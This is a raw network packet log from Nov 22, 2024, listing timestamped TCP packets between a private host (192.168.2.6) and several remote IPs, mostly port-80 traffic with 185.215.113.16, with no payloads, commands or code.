Nov 22, 2024 14:44:08.523715019 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.523756027 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.525496006 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.525515079 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.525548935 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.525574923 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.527200937 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.527287006 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.527302027 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.527319908 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.528976917 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.529025078 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.529105902 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.529146910 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.530745983 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.530808926 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.530844927 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.530886889 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.532533884 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.532586098 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.532624960 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.532707930 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.534305096 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.534406900 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.534414053 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.534445047 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.536082029 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.536185026 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.536247015 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.537882090 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.537939072 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.537998915 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.538053989 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.539635897 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.539702892 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.539752007 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.539829969 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.541415930 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.541452885 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.541501045 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.543203115 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.543239117 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.543263912 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.543278933 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.544980049 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.545036077 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.545094967 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.545135975 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.546777964 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.546823978 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.546879053 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.546952009 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.548547983 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.548602104 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.548680067 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.548732042 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.550339937 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.550426006 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.550452948 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.550492048 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.552129984 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.552196026 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.552221060 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.552261114 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.553883076 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.553945065 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.553971052 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.554150105 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.555756092 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.555802107 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.555833101 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.555846930 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.557434082 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.557485104 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.557518005 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.557602882 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.559288025 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.559329987 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.559483051 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.559724092 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.561458111 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.561502934 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.561530113 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.561638117 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.562839031 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.562925100 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.563000917 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.563054085 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.564727068 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.564790010 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.564816952 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.564860106 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.566453934 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.566508055 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.566570044 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.566627026 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.568145990 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.568226099 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.568252087 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.568291903 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.569963932 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.570029974 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.570103884 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.570161104 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.570871115 CET	443	49882	162.159.61.3	192.168.2.6
Nov 22, 2024 14:44:08.570935965 CET	443	49882	162.159.61.3	192.168.2.6
Nov 22, 2024 14:44:08.571120977 CET	49882	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:44:08.571701050 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.571748018 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.571824074 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.571863890 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.573559999 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.573648930 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.573678970 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.573827028 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.575278044 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.575334072 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.575376034 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.575628996 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.577116966 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.577167034 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.577248096 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.577291012 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.578867912 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.578922987 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.578938961 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.578982115 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.580630064 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.580715895 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.580740929 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.580861092 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.582434893 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.582617044 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.582638979 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.582678080 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.584167957 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.584233999 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.584346056 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.584408045 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.585963011 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.586036921 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.586076021 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.586137056 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.587757111 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.587852001 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.587898970 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.589494944 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.589548111 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.589601040 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.589642048 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.591306925 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.591361046 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.591407061 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.591599941 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.593030930 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.593086958 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.677444935 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.677480936 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.677512884 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.677553892 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.678318977 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.678383112 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.678420067 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.678458929 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.680082083 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.680217028 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.680269957 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.681902885 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.681966066 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.681998014 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.682018042 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.683664083 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.683717966 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.683793068 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.683839083 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.685482979 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.685553074 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.685553074 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.685585976 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.687222004 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.687278032 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.687279940 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.687330008 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.709014893 CET	443	49951	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.711158991 CET	49951	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.711170912 CET	443	49951	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.711631060 CET	443	49951	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.712065935 CET	49951	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.712136030 CET	443	49951	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.712316036 CET	49951	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.712424994 CET	49951	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.712450027 CET	443	49951	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.722229958 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.722310066 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.722393990 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.722476006 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.722660065 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.722786903 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.722826004 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.722837925 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.723330021 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.723409891 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.723500013 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.723540068 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.724268913 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.724313021 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.724344015 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.724426985 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.725111961 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.725164890 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.725189924 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.725239038 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.725992918 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.726052046 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.726109982 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.726154089 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.726854086 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.726901054 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.726973057 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.727018118 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.727869987 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.727917910 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.727941990 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.727987051 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.728573084 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.728624105 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.728699923 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.728741884 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.729470015 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.729520082 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.729583025 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.729680061 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.730453014 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.730499029 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.730762959 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.730866909 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.731204033 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.731226921 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.731259108 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.731283903 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.732054949 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.732136965 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.732168913 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.732280970 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.732923031 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.732979059 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.733123064 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.733198881 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.733839989 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.733889103 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.733927011 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.733998060 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.734703064 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.734814882 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.734850883 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.734868050 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.735573053 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.735625982 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.735677004 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.735769987 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.736423016 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.736468077 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.736499071 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.736664057 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.737298012 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.737346888 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.737416029 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.737457037 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.738183022 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.738291025 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.738332033 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.739079952 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.739136934 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.739171982 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.739243031 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.739959002 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.740015984 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.740048885 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.740447044 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.740828991 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.740875006 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.740917921 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.740957022 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.741880894 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.741894007 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.741936922 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.741971016 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.742573977 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.742625952 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.742686987 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.742760897 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.743417978 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.743464947 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.743581057 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.743633986 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.744328976 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.744412899 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.744417906 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.744452000 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.744628906 CET	443	49952	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.744911909 CET	49952	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.744931936 CET	443	49952	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.745233059 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.745279074 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.745318890 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.745358944 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.745985031 CET	443	49952	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.746109009 CET	49952	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.746294975 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.746365070 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.746402979 CET	49952	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.746402979 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.746468067 CET	443	49952	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.746494055 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.746886015 CET	49952	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.746893883 CET	443	49952	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.746931076 CET	49952	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.746968985 CET	443	49952	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.747045040 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.747121096 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.747133970 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.747162104 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.747813940 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.747931004 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.747961044 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.747972012 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.748646975 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.748697996 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.748755932 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.748817921 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.749546051 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.749599934 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.749757051 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.749800920 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.750407934 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.750469923 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.750529051 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.750570059 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.751281023 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.751331091 CET	49949	80	192.168.2.6	185.215.113.16
